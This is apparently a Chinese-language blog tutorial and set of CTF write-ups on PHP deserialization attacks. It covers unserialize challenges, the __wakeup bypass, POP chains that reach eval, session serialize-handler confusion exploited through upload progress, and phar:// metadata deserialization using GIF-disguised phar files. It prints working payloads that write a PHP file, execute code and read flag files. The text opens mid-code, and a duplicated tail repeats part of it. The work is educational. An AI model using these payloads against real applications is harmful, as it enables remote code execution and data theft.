; } show_source (__FILE__ );``` 题目的大意就是反序列化一个变量后的值等于`D0g3!!!`,这个变量是用户输入的,于是我们写代码将`D0g3!!!`序列化 ``` php <?php $a ="D0g3!!!" ; $b =serialize ($a ); echo $b ; ?> ``` 得到序列化后的内容是 ![7 .png](https: 将序列化后的内容传入得到flag ![8 .png](https: 现在再来一道bugku的反序列化题 welcome to bugctf (这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下) index.php ``` php <?php $txt = $_GET ["txt" ]; $file = $_GET ["file" ]; $password = $_GET ["password" ]; if (isset ($txt )&&(file_get_contents ($txt ,'r' )==="welcome to the bugkuctf" )){ echo "hello friend!<br>" ; if (preg_match ("/flag/" ,$file )){ echo "不能现在就给你flag哦" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { echo "you are not the number of bugku ! " ; } ?> ``` 代码有点长我们先来分析一下这串代码想表达什么 1 .先`GET`传入参数`$txt `、`$file `、`$password `2 .判断`$txt `是否存在,如果存在并且值为`welcome to the bugkuctf`就进一步操作,`$file `参数里面不能包含`flag`字段3 .通过以上判断就`include ($file )`,再将`$password `反序列化并输出hint.php ``` php <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("good" ); } } } ?> ``` `index.php`里面要求`$file `参数不能包含`flag`字段,所以文件不能包含`flag.php`,所以`$file =hint.php`,把`hint.php`包含进去,里面存在一个`file_get_concents函数`可以读文件,想到`index.php`里面的`unserialize`函数,所以只需要控制`$this ->file`就能读取想要的文件 用这段代码的结果传值给`$password ` ``` php <?php class Flag { public $file ='flag.php' ; } $a =new Flag (); $b =serialize ($a ); echo $b ; ?> ``` `$password `进行反序列化后`$file `就被赋值为`flag.php`,然后`file_get_contents`就得到了`flag` ![10 .png](https: 再来一个反序列化漏洞利用例子,代码如下 ``` php <?php class foo { public $file = "2.txt" ; public $data = "test" ; function __destruct ( ) { file_put_contents (dirname (__FILE__ ).'/' .$this ->file,$this ->data); } } $file_name = $_GET ['filename' ]; print "You have readfile " .$file_name ; unserialize (file_get_contents ($file_name )); ?> ``` 这串代码的意思是将读取的文件内容进行反序列化,`__destruct`函数里面是生成文件,如果我们本地存在一个文件名是`flag.txt`,里面的内容是 ``` php O:3 :"foo" :2 :{s:4 :"file" ;s:9 :"shell.php" ;s:4 :"data" ;s:18 :"<?php phpinfo();?>" ;} ``` 将它进行反序列化就会生成`shell.php`里面的内容为`<?php phpinfo ();?> ` ![11 .png](https: ![12 .png](https: **__wakeup魔法函数简介** `unserialize ()`会检查是否存在一个 `__wakeup ()` 方法。如果存在,则会先调用 `__wakeup ()` 方法,预先准备对象需要的资源 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过`__wakeup ()`的执行 **漏洞影响版本:** php5 < 5.6 .25 php7 < 7.0 .10 **漏洞复现:** 代码如下 ``` php <?php class A { public $target = "test" ; function __wakeup ( ) { $this ->target = "wakeup!" ; } function __destruct ( ) { $fp = fopen ("D:\Program Files\PHPTutorial\WWW\zx\hello.php" ,"w" ); fputs ($fp ,$this ->target); fclose ($fp ); } } $a = $_GET ['test' ]; $b = unserialize ($a ); echo "hello.php" ."<br/>" ; include ("./hello.php" ); ?> ``` 魔法函数`__wakeup ()`要比`__destruct ()`先执行,所以我们之间传入 `O:1 :"A" :1 :{s:6 :"target" ;s:18 :"<?php phpinfo();?>" ;}` 时会被先执行的`__wakeup ()`函数`$target `赋值覆盖为`wakeup!`,然后生成的`hello.php`里面的内容就是`wakeup!` ![13 .png](https: 现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过`__wakeup ()`的执行,对象个数原来是1 我们将其改为2 ,也就是 `O:2 :"A" :1 :{s:6 :"target" ;s:18 :"<?php phpinfo();?>" ;}` 就能实现绕过 ![14 .png](https: 上面说了`private `和`protected `返回长度和`public `不一样的原因,这里再写一下 ``` php private 属性序列化的时候格式是%00 类名%00 成员名protect属性序列化的时候格式是%00 *%00 成员名 ``` `protected `情况下,代码如下 ``` php <?php class A { protected $test = "hahaha" ; function __destruct ( ) { echo $this ->test; } } $a = $_GET ['test' ]; $b = unserialize ($a ); ?> ``` 利用方式: 先用如下代码输出利用的序列化串 ``` php <?php class A { protected $test = "hacked by ghtwf01" ; } $a = new A (); $b = serialize ($a ); print_r ($b ); ?> ``` 得到`O:1 :"A" :1 :{s:7 :"*test" ;s:17 :"hacked by ghtwf01" ;}` 因为`protected `是`*`号两边都有`%00 `,所以必须在`url`上面也加上,否则不会利用成功 ![15 .png](https: `private `情况下,代码如下 ``` php <?php class A { private $test = "hacked by ghtwf01" ; } $a = new A (); $b = serialize ($a ); print_r ($b ); ?> ``` 利用代码这里省略吧,同上面,得到序列化后的字符串为`O:1 :"A" :1 :{s:7 :"Atest" ;s:17 :"hacked by ghtwf01" ;` 因为`private `是类名`A`两边都有`%00 `所以同样在`url`上面体现 ![16 .png](https: 代码如下 ``` php <?php class A { public $target ; function __construct ( ) { $this ->target = new B; } function __destruct ( ) { $this ->target->action (); } } class B { function action ( ) { echo "action B" ; } } class C { public $test ; function action ( ) { echo "action A" ; eval ($this ->test); } } unserialize ($_GET ['test' ]); ?> ``` 这个例子中,`class B `和`class C `有一个同名方法`action `,我们可以构造目标对象,使得析构函数调用`class C `的`action `方法,实现任意代码执行 利用代码 ``` php <?php class A { public $target ; function __construct ( ) { $this ->target = new C; $this ->target->test = "phpinfo();" ; } function __destruct ( ) { $this ->target->action (); } } class C { public $test ; function action ( ) { echo "action C" ; eval ($this ->test); } } echo serialize (new A); ?> ``` ![17 .png](https: `session`英文翻译为"会话" ,两个人聊天从开始到结束就构成了一个会话。`PHP`里的`session`主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期 会话的工作流程很简单,当开始一个会话时,`PHP`会尝试从请求中查找会话 `ID` (通常通过会话 `cookie`),如果发现请求的`Cookie`、`Get`、`Post`中不存在`session id`,`PHP` 就会自动调用`php_session_create_id`函数创建一个新的会话,并且在`http response`中通过`set-cookie`头部发送给客户端保存,例如登录如下网页`Cokkie、Get、Post`都不存在`session id`,于是就使用了`set-cookie`头 ![1 .png](https: 有时候浏览器用户设置会禁止 `cookie`,当在客户端`cookie`被禁用的情况下,`php`也可以自动将`session id`添加到`url`参数中以及`form`的`hidden`字段中,但这需要将`php.ini`中的`session.use_trans_sid`设为开启,也可以在运行时调用`ini_set`来设置这个配置项 会话开始之后,`PHP` 就会将会话中的数据设置到 `$_SESSION ` 变量中,如下述代码就是一个在 `$_SESSION ` 变量中注册变量的例子: ``` php <?php session_start ();if (!isset ($_SESSION ['username' ])) { $_SESSION ['username' ] = 'ghtwf01' ; } ?> ``` 代码的意思就是如果不存在`session`那么就创建一个`session` 也可以用如下流程图表示 ![2 .png](https: `php.ini`里面有如下六个相对重要的配置 ``` php session.save_path="" --设置session的存储位置 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0 ,不启动 session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用 ``` 如`phpstudy`下上述配置如下: ``` php session.save_path = "/tmp" --所有session文件存储在/tmp目录下 session.save_handler = files --表明session是以文件的方式来进行存储的 session.auto_start = 0 --表明默认不启动session session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php (反)序列化引擎 session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量 session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量) ``` 上文中提到了 `PHP session`的存储机制是由`session.serialize_handler`来定义引擎的,默认是以文件的方式存储,且存储的文件是由`sess_sessionid`来决定文件名的,当然这个文件名也不是不变的,都是`sess_sessionid`形式 ![3 .png](https: 打开看一下全是序列化后的内容 ![4 .png](https: 现在我们来看看`session.serialize_handler`,它定义的引擎有三种 | 处理器名称 | 存储格式 | | php | 键名 + 竖线 + 经过serialize ()函数序列化处理的值 | | php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize ()函数序列化处理的值| | php_serialize (php>5.5 .4 ) | 经过serialize ()函数序列化处理的数组 | 首先来看看`session.serialize_handler`等于`php`时候的序列化结果,代码如下 ``` php <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> ``` `session`的`sessionid`其实可以看到的,为`i38age8ok4bofpiuiku3h20fh0` ![5 .png](https: 于是我们到`session`存储目录查看一下`session`文件内容 ![6 .png](https: `session`为`$_SESSION ['session' ]`的键名,`|`后为传入`GET`参数经过序列化后的值 再来看看`session.serialize_handler`等于`php_binary`时候的序列化结果 ``` php <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_binary' );session_start ();$_SESSION ['sessionsessionsessionsessionsession' ] = $_GET ['session' ];?> ``` 为了更能直观的体现出格式的差别,因此这里设置了键值长度为 `35 `,`35 ` 对应的 `ASCII` 码为` ![7 .png](https: ` 最后就是`session.serialize_handler`等于`php_serialize`时候的序列化结果,代码如下 ``` php <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> ``` 结果如下 ![8 .png](https: `a:1 `表示`$_SESSION `数组中有 `1 ` 个元素,花括号里面的内容即为传入`GET`参数经过序列化后的值 `php`处理器和`php_serialize`处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用`session.serialize_handler = php_serialize`存储的字符可以引入 `|` , 再用`session.serialize_handler = php`格式取出`$_SESSION `的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。 我们创建一个`session.php`,用于传输`session`值,里面代码如下 ``` php <?php error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['session' ] = $_GET ['session' ];?> ``` 再创建一个`hello.php`,里面代码如下 ``` php <?php error_reporting (0 ); ini_set ('session.serialize_handler' ,'php' ); session_start (); class D0g3 { public $name = 'panda' ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new XianZhi (); ?> ``` 这两个文件的作用很清晰,`session.php`文件的处理器是`php_serialize`,`hello.php`文件的处理器是`php`,`session.php`文件的作用是传入可控的 `session`值,`hello.php`文件的作用是在反序列化开始前输出`Who are you?`,反序列化结束的时候输出`name`值 运行一下`hello.php`看一下效果 ![9 .png](https: 我们用如下代码来复现一下`session`的反序列化漏洞 ``` php <?php class D0g3 { public $name = 'ghtwf01' ; function __wakeup ( ) { echo "Who are you?" ; } function __destruct ( ) { echo '<br>' .$this ->name; } } $str = new D0g3 (); echo serialize ($str ); ?> ``` 输出结果为 ![10 .png](https: 因为`session`是`php_serialize`处理器,所以允许`|`存在字符串中,所以将这段代码序列化内容前面加上`|`传入`session.php`中 现在来看一下存入`session`文件的内容 ![11 .png](https: 再打开`hello.php` ![12 .png](https: 题目链接:http: 题目中给出如下代码 ``` php <?php ini_set ('session.serialize_handler' , 'php' );session_start ();class OowoO { public $mdzz ; function __construct ( ) { $this ->mdzz = 'phpinfo();' ; } function __destruct ( ) { eval ($this ->mdzz); } } if (isset ($_GET ['phpinfo' ])){ $m = new OowoO (); } else { highlight_string (file_get_contents ('index.php' )); } ?> ``` 仔细看了一遍发现题目没有入口,注意到`ini_set ('session.serialize_handler' , 'php' )`,想到可不可能是`session`反序列化漏洞,看一下`phpinfo`,发现`session.serialize_handler`设置如下 ``` php local value (当前目录,会覆盖master value内容):php master value (主目录,php.ini里面的内容):php_serialize ``` 这个很明显就存在`php session`反序列化漏洞,但是入口点在哪里,怎么控制`session`的值 在`phpinfo`里面看到了 ``` php session.upload_progress.enabled on session.upload_progress.cleanup off ``` 当一个上传在处理中,同时`POST`一个与`INI`中设置的`session.upload_progress.name`同名变量时,当`PHP`检测到这种`POST`请求时,它会在`$_SESSION `中添加一组数据。所以可以通过`Session Upload Progress`来设置`session` 允许上传且结束后不清除数据,这样更有利于利用 在`html`网页源代码上面添加如下代码 ``` html <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data" > <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> ``` ![13 .png](https: 接下来考虑如何利用 ``` php <?php ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();class OowoO { public $mdzz ='print_r(scandir(dirname(__FILE__)));' ; } $obj = new OowoO ();echo serialize ($obj );?> ``` 得到 ![14 .png](https: 为了防止转义,在每个双引号前加上`\`,即 ```php |O:5 :\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} ``` 点击提交,`burpsuite`抓包将`filename`的值改为它 ![15.png](https://www.ghtwf01.cn/img/20191112145006-a8ff3988-0518-1.png) 查询到当前目录有哪些文件了,在`phpinfo`里面查看到当前目录路径 ![16.png](https://www.ghtwf01.cn/img/20191112145010-abb3dd46-0518-1.png) 于是我们利用 ``` php print_r(file_get_contents(" /opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php")); ``` 来读取`Here_1s_7he_fl4g_buT_You_Cannot_see.php`中的内容,同样的道理加上`\`后将`filename`改为 ``` php |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} ``` 得到`flag` ![17.png](https://www.ghtwf01.cn/img/20191112145016-aefb991c-0518-1.png) # phar拓展反序列化攻击面 ## phar文件简介 ### 概念 一个`php`应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在`window`操作系统上面的安装程序、一个`jquery`库等等,为了做到这点`php`采用了`phar`文档文件格式,这个概念源自`java`的`jar`,但是在设计时主要针对 PHP 的 Web 环境,与 `JAR` 归档不同的是`Phar`归档可由 `PHP` 本身处理,因此不需要使用额外的工具来创建或使用,使用`php`脚本就能创建或提取它。`phar`是一个合成词,由`PHP`和 `Archive`构成,可以看出它是`php`归档文件的意思(简单来说`phar`就是`php`压缩文档,不经过解压就能被 `php` 访问并执行) ### phar组成结构 ``` php stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>; manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储 contents:压缩文件的内容 signature:签名,放在文件末尾 ``` 这里有两个关键点,一是文件标识,必须以`__HALT_COMPILER();?>`结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,`phar`存储的`meta-data`信息以序列化方式存储,当文件操作函数通过`phar://`伪协议解析`phar`文件时就会将数据反序列化,而这样的文件操作函数有很多 ### 前提条件 ``` php php.ini中设置为phar.readonly=Off php version>=5.3.0 ``` ## phar反序列化漏洞 漏洞成因:`phar`存储的`meta-data`信息以序列化方式存储,当文件操作函数通过`phar://`伪协议解析`phar`文件时就会将数据反序列化 ### demo测试 根据文件结构我们来自己构建一个`phar`文件,`php`内置了一个`Phar`类来处理相关操作 ``` php <?php class TestObject { } @unlink(" phar.phar"); $phar = new Phar(" phar.phar"); //后缀名必须为phar $phar ->startBuffering(); $phar ->setStub(" <?php __HALT_COMPILER (); ?> "); //设置stub $o = new TestObject(); $phar ->setMetadata($o ); //将自定义的meta-data存入manifest $phar ->addFromString(" test.txt", " test"); //添加要压缩的文件 //签名自动计算 $phar ->stopBuffering(); ?> ``` 可以很明显看到`manifest`是以序列化形式存储的 ![1.png](https://www.ghtwf01.cn/img/20191112145235-01d2d2fe-0519-1.png) 有序列化数据必然会有反序列化操作,`php`一大部分的文件系统函数在通过`phar://`伪协议解析`phar`文件时,都会将`meta-data`进行反序列化 在网上扒了一张图 ![2.png](https://www.ghtwf01.cn/img/20191112145239-0436a1c4-0519-1.png) 用如下demo证明 ``` php <?php class TestObject { public function __destruct() { echo 'hello ghtwf01'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename ); ?> ``` ![3.png](https://www.ghtwf01.cn/img/20191112145244-07779b54-0519-1.png) 当文件系统函数的参数可控时,我们可以在不调用`unserialize()`的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如`file_exists`函数,代码如下 ``` php <?php class TestObject { public function __destruct() { echo 'hello ghtwf01'; } } $filename = 'phar://phar.phar/a_random_string'; file_exists($filename ); ?> ``` ![4.png](https://www.ghtwf01.cn/img/20191112145250-0ab8db34-0519-1.png) ### 将phar伪造成其他格式的文件 在前面分析`phar`的文件结构时可能会注意到,`php`识别`phar`文件是通过其文件头的`stub`,更确切一点来说是`__HALT_COMPILER();?>`这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将`phar`文件伪装成其他格式的文件 ``` php <?php class TestObject { } @unlink(" phar.phar"); $phar = new Phar(" phar.phar"); $phar ->startBuffering(); $phar ->setStub(" GIF89a"." <?php __HALT_COMPILER (); ?> "); //设置stub,增加gif文件头 $o = new TestObject(); $phar ->setMetadata($o ); //将自定义meta-data存入manifest $phar ->addFromString(" test.txt", " test"); //添加要压缩的文件 //签名自动计算 $phar ->stopBuffering(); ?> ``` ![5.png](https://www.ghtwf01.cn/img/20191112145254-0d4bc884-0519-1.png) 采用这种方法可以绕过很大一部分上传检测 #### 利用条件 ``` php phar文件需要上传到服务器端 要有可用的魔术方法作为“跳板” 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤 ``` #### 漏洞复现 upload.php 白名单只允许上传`jpg,png,gif` ``` php <!DOCTYPE html> <html> <head> <title>文件上传</title> </head> <body> <form method=" post" enctype=" multipart/form-data"> <input type=" file" name=" pic" /> <input type=" submit" value=" 上传"/> </body> </html> <?php header(" Content-type:text/html;charset=utf-8 "); $ext_arr =array('.jpg','.png','.gif'); if(empty($_FILES )){ echo " 请上传文件"; }else{ define(" PATH",dirname(__DIR__)); $path =PATH." /"." upload"." /"." images"; $filetype =strrchr($_FILES [" pic"][" name"]," ."); if(in_array($filetype ,$ext_arr )){ move_uploaded_file($_FILES [" pic"][" tmp_name"],$path ." /".$_FILES [" pic"][" name"]); echo " 上传成功!"; }else{ echo " 只允许上传.jpg|.png|.gif类型文件!"; } } ?> ``` file_exists.php 验证文件是否存在,漏洞利用点:`file_exists()`函数 ``` php <?php $filename =$_GET ['filename'];class ghtwf01{ public $a = 'echo exists;'; function __destruct() { eval($this -> a); } } file_exists($filename ); ?> ``` 构造phar文件 ``` php <?php class ghtwf01{ public $a = 'phpinfo();'; function __destruct() { eval($this -> a); } } $phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new ghtwf01();$phar -> setMetadata($object );$phar -> stopBuffering();?> ``` 改后缀名为`gif`,然后上传,最后在`file_exists.php`利用漏洞 ![6.png](https://www.ghtwf01.cn/img/20191112145302-1225f852-0519-1.png) # 参考链接 https://www.freebuf.com/articles/web/206249.html http://mini.eastday.com/mobile/190306223633207.html# https://www.jianshu.com/p/54e93e92ba9e https://www.jb51.net/article/79144.htm https://xz.aliyun.com/t/6640 https://www.freebuf.com/vuls/202819.html } file_exists($filename ); ?>
构造phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class ghtwf01 { public $a = 'phpinfo();' ; function __destruct ( ) { eval ($this -> a); } } $phar = new Phar ('phar.phar' );$phar -> stopBuffering ();$phar -> setStub ('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar -> addFromString ('test.txt' ,'test' );$object = new ghtwf01 ();$phar -> setMetadata ($object );$phar -> stopBuffering ();?>
改后缀名为gif
,然后上传,最后在file_exists.php
利用漏洞
参考链接 https://www.freebuf.com/articles/web/206249.html http://mini.eastday.com/mobile/190306223633207.html# https://www.jianshu.com/p/54e93e92ba9e https://www.jb51.net/article/79144.htm https://xz.aliyun.com/t/6640 https://www.freebuf.com/vuls/202819.html